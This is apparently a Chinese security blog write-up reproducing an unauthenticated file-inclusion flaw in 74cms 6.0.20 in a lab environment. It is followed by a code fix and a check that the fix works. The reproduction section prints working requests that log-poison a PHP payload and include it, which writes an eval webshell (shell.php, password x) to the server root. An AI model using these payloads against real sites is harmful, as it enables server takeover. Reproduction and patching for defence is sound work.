74cms 6.0.20版本文件包含漏洞复现
微信公众号:乌鸦安全
扫取二维码获取更多信息!
01 漏洞描述
参考资料:
https://xz.aliyun.com/t/8021
由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。
下载地址:
http://www.74cms.com/download/index.html
注意:
骑士cms不支持php7.x,复现php环境为php5.x即可
版本低于6.0.48
本文复现版本:
74cms_Home_Setup_v6.0.20.zip
02 环境搭建
phpstudy2018
74cms_Home_Setup_v6.0.20.zip
注意:
php版本为5.x,暂不支持php7
具体的搭建流程可以参考互联网,因为很简单。
03 复现流程
访问地址:
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tpl
在安装的文件位置中已经发现了记录的错误参数,路径是
C:\phpstudy\PHPTutorial\WWW\74cms\data\Runtime\Logs\Home
进行如下请求
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
此时去看日志信息,一句话菜刀已经记录在日志里
开始包含:
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log
在根目录下写入shell.php文件,内容为一句话木马,包含成功
在cms系统安装的根目录下生成了一个shell.php一句话木马,密码是x
http://10.211.55.9/74cms/shell.php
执行任意命令,发现执行成功
04 漏洞修复
在以下路径的169行进行修改
/Application/Common/Controller/BaseController.class.php
未修改前:
public function assign_resume_tpl($variable,$tpl){foreach ($variable as $key => $value) {$this->assign($key,$value);}return $this->fetch($tpl);
加入下面这行代码:
$view = new \Think\View;$tpl_file = $view->parseTemplate($tpl);if(!is_file($tpl_file)){return false;}// 修改之后的代码
public function assign_resume_tpl($variable,$tpl){foreach ($variable as $key => $value) {$this->assign($key,$value);} // fix 20210203$view = new \Think\View;$tpl_file = $view->parseTemplate($tpl);if(!is_file($tpl_file)){return false;}return $this->fetch($tpl);}
以下路径的文件:
/ThinkPHP/Library/Think/View.class.php
View.class.php文件中106行fetch方法中修改// 将110行if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);// 代码注释替换为if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));
05 修复验证
清空log文件中的内容
再次写入内容
写入失败,漏洞修复成功
06 小插曲
微信公众号:乌鸦安全
扫取二维码获取更多信息!
74cms 6.0.20版本文件包含漏洞复现相关推荐
- index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其 ...
- phpmyadminV4.8.1本地文件包含漏洞复现
文章目录 一.phpMyadmin简介 二.什么是文件包含漏洞? 三.本地包含和远程包含 四.文件包含相关函数介绍 1.函数介绍 2.报错 3._once 4.小结 五.关于windows特性的一个小 ...
- CVE-2020-1938 Aapache Tomcat AJP文件包含漏洞复现
目录 一.环境搭建 1.下载vulhub 2.启动环境 二.漏洞复现 1.使用nmap扫描目标 2.运行POC验证漏洞 3.POC代码 三.修复方法 一.环境搭建 1.下载vulhub kali系统输 ...
- php文件包含漏洞复现,文件包含漏洞(绕过姿势)
当你的才华 还撑不起的野心时 那你就应该静下心来学习 目录 文件包含漏洞介绍 特殊姿势 亲测有效 php文件包含漏洞 本地包含漏洞(LFI) 远程包含漏洞 文件包含利用 读取敏感信息 远程包含shel ...
- tomcat ajp协议安全限制绕过漏洞_Apache tomcat 文件包含漏洞复现(CVE20201938)
漏洞背景 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer ...
- phpmyadmin 4.8.1 Remote File Inclusion(CVE-2018-12613)远程文件包含漏洞复现
漏洞描述 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试. 攻击者必须经过身份验证 ...
- 【CVE-2018-12613】phpmyadmin 4.8.1 远程文件包含漏洞复现
**环境:**http://62.234.56.138:8080/server_databases.php 官网下载phpmyadmin 4.8.1 源码:index.php文件中 函数含义: tar ...
- 第31天:WEB漏洞~文件操作之文件包含漏洞全解
目录 1. 文件包含漏洞 1.1. 原理.检测.类型.修复 1.2. 无限制&有限制的包含 1.2.1 本地包含 1.2.2 远程包含 1.3. 协议流 php:// php://input ...
- test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- 远程文件包含 php,php本地及远程文件包含漏洞
在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen on allow_url_include on 但是开启这两个功能之后伴随的是url ...
最新文章
- ATLAS入门篇之CascadingDropDown控件编程
- Java把List转换为String使用stream(functional programming in java)
- spring注解@service(service)括号中的service有什么用?
- r语言逻辑向量相加_R语言基础教程——第3章:数据结构——向量
- 基于某网站的信息爬取与保存_指定跳转页
- 语言代码编程大赛简讯_精品干货:C语言的高效编程与代码优化
- Linux中进程间传递文件描述符的方法
- BZOJ1787 [Ahoi2008]Meet 紧急集合 LCA
- math.floor()和math.ceil()的使用
- python dict批量选择_这一定是你见过最全面的python重点
- [转]PostgreSQL源码结构
- HTML5 植物大战僵尸项目介绍 和源码分析
- 参考文献查阅网站大全
- oracle 中的or,oracle语句查询 or和and
- java+nanomsg(jnanomsg)
- 2021-05-12 MongoDB面试题 在MongoDB中如何排序
- Linux 常用小工具
- ubuntu 下 ssd磁盘检测
- includes的用法
- 形式逻辑三大基本要素-推理的本质